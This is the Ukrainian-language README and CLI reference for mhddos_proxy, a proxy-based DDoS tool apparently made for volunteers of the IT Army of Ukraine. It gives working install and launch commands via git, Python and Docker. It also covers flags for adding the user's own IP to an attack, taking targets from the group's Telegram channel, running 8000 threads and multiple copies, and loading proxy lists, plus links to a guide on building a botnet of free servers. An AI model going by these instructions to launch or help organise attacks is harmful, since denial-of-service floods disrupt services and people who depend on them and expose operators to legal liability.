- Вбудована база проксі з величезною кількістю IP по всьому світу
- Можливість задавати багато цілей з автоматичним балансуванням навантаження
- Безліч різноманітних методів
- Ефективне використання ресурсів завдяки асихронній архітектурі
Оновлення версії для Windows | Mac | Linux | Android | Docker: https://telegra.ph/Onovlennya-mhddos-proxy-04-16
- 10.06.2022 Додано зручний спосіб вказати власний проксі напряму в команді запуску (параметр
--proxy) - 08.06.2022 Додано налаштування
--copies autoдля автоматичного вибору значення з врахуванням доступних ресурсів - 25.05.2022 Покращено вивід за замовчуванням - більше нема потреби в параметрі
--debug - 24.05.2022 Додано можливість запуску з автоматичним оновленням - див. пункт Запуск
Розширені інструкції - натисніть тут
Потребує python >= 3.8 та git
git clone https://github.com/porthole-ascend-cinnamon/mhddos_proxy.git
cd mhddos_proxy
python3 -m pip install -r requirements.txt
Встановіть і запустіть Docker: https://docs.docker.com/desktop/#download-and-install
./runner.sh python3 https://example.com tcp://198.18.0.123:5678
Python (потребує оновлення вручну) (якщо не працює - спробуйте python або python3.10 замість python3)
python3 runner.py https://example.com tcp://198.18.0.123:5678
docker run -it --rm --pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy https://example.com tcp://198.18.0.123:5678
3. 🛠 Налаштування (більше у розділі CLI)
Усі параметри можна комбінувати, можна вказувати і до і після переліку цілей
- Щоб додати ваш IP/VPN до атаки (особливо актуально для виділених серверів), додайте параметр
--vpn - Щоб обрати цілі від IT Army of Ukraine (https://t.me/itarmyofukraine2022), додайте параметр
--itarmy - Кількість потоків:
-t XXXX- за замовчуванням 8000 (або 4000 якщо на машині лише 1 CPU) - Запуск декількох копій:
--copies Xабо--copies auto, при наявності 4+ CPU та мережі 100+ Mb/s
Сам скрипт та інструкції по встановленню тут: https://github.com/porthole-ascend-cinnamon/proxy_finder
- Створення ботнету з 30+ безкоштовних та автономних(працюють навіть при вимкненому ПК) Linux-серверів
- Детальний розбір mhddos_proxy та інструкції по встановленню
- Аналіз засобу mhddos_proxy
- Приклад запуску через docker на OpenWRT
- VPN
- Docker-image, який запускає одночасно mhddos_proxy та proxy_finder (для Linux / Mac додайте sudo на початку):
- Налаштування з нотифікаціями у Телеграм
usage: runner.py target [target ...]
[-t THREADS]
[-c URL]
[--debug]
[--vpn]
[--http-methods METHOD [METHOD ...]]
[--itarmy]
[--copies COPIES]
positional arguments:
targets List of targets, separated by space
optional arguments:
-h, --help show this help message and exit
-c, --config URL|path URL or local path to file with targets list
-t, --threads 8000 Number of threads (default is 8000 if CPU > 1, 4000 otherwise)
--vpn Use both my IP and proxies. Optionally, specify a percent of using my IP (default is 10%)
--proxies URL|path URL or local path(ex. proxies.txt) to file with proxies to use
--proxy [PROXY ...] List of proxies to use, separated by spaces
--http-methods GET List of HTTP(L7) methods to use (default is GET).
--itarmy Attack targets from https://t.me/itarmyofukraine2022
--debug Detailed log for each target
--copies 1 Number of copies to run (default is 1). Use "auto" to set the value automatically
--lang {en,ua} Select language (default is ua)
Для того щоб вказати власний проксі (або декілька) через командний рядок, використовуйте опцію --proxy:
python3 runner.py --proxy socks4://114.231.123.38:3065
Можна вказати декілька проксі розділених пробілом:
python3 runner.py --proxy socks4://114.231.123.38:3065 socks5://114.231.123.38:1080
Якщо перелік проксей занадто великий, скористайтеся опцією передачі налаштувань через файл (дивіться наступний розділ).
IP:PORT
IP:PORT:username:password
username:password@IP:PORT
protocol://IP:PORT
protocol://IP:PORT:username:password
protocol://username:password@IP:PORT
де protocol може бути одним з 3-ох: http|socks4|socks5, якщо protocolне вказувати, то буде обрано http
наприклад для публічного проксі socks4 формат буде таким:
socks4://114.231.123.38:3065
а для приватного socks4 формат може бути одним з таких:
socks4://114.231.123.38:3065:username:password
socks4://username:password@114.231.123.38:3065
URL - Віддалений файл для Python та Docker
--proxies https://pastebin.com/raw/UkFWzLOt
де https://pastebin.com/raw/UkFWzLOt - ваша веб-сторінка зі списком проксі (кожен проксі з нового рядка)
path - Шлях до локального файлу, для Python
Покладіть файл у папку з runner.py і додайте до команди наступний параметр (замініть proxies.txt на ім'я свого файлу)
--proxies proxies.txt
де proxies.txt - ваша ваш файл зі списком проксі (кожен проксі з нового рядка)